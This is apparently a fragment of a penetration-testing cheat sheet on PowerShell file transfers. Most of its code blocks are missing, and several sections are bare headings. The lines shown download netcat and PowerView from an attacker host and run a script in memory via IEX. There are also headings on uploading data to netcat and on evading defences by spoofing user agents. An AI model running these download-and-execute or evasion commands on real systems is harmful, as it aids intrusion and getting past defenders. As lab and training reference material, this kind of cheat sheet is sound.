PowerShell Transfers

Downloads — Net.WebClient

# Download to disk
(New-Object Net.WebClient).DownloadFile('http://10.10.10.32/nc.exe','C:\Users\Public\nc.exe')

# Async variant
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.10.32/nc.exe','C:\Users\Public\nc.exe')

# Fileless — download string and execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.32/PowerView.ps1')

# Pipeline variant
(New-Object Net.WebClient).DownloadString('http://10.10.10.32/PowerView.ps1') | IEX

Downloads — Invoke-WebRequest

Available in PowerShell 3.0+. Slower than Net.WebClient for large files. Aliases: iwr, curl, wget.

Invoke-WebRequest http://10.10.10.32/PowerView.ps1 -OutFile PowerView.ps1

Common errors:

IE first-launch not completed — add -UseBasicParsing:

SSL/TLS untrusted certificate:

Downloads — Start-BitsTransfer

BITS must be enabled on the target.


Base64 Download (No Network)

On attacker (Linux):

On target (Windows):

Note: cmd.exe has an 8,191 character max string length. Web shells may also error on very large strings.


Base64 Upload (No Network)

On target (Windows):

On attacker (Linux):


Uploads — PSUpload.ps1

Uploads — Base64 POST to Netcat

On attacker:

Uploads — UploadFile to PHP Receiver

On target:

See PHP Transfers for the upload.php receiver script.


FTP via PowerShell


PowerShell Remoting (WinRM)

TCP/5985 (HTTP) or TCP/5986 (HTTPS). Requires admin access or Remote Management Users group.


Proxy-Aware Downloader


Evasion — User Agent Spoofing

Each transfer method has a distinct UA string. Defenders can whitelist/blacklist these:

Method
User-Agent

Invoke-WebRequest

Mozilla/5.0 (Windows NT; ...) WindowsPowerShell/5.1.14393.0

WinHttp.WinHttpRequest.5.1

Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Msxml2.XMLHTTP

Mozilla/4.0 (compatible; MSIE 7.0; ...)

CertUtil

Microsoft-CryptoAPI/10.0

BITS

Microsoft BITS/7.8

Evasion — Alternative COM Download Objects


AES Encryption (Protected Transfers)

Using Invoke-AESEncryption.ps1:

Last updated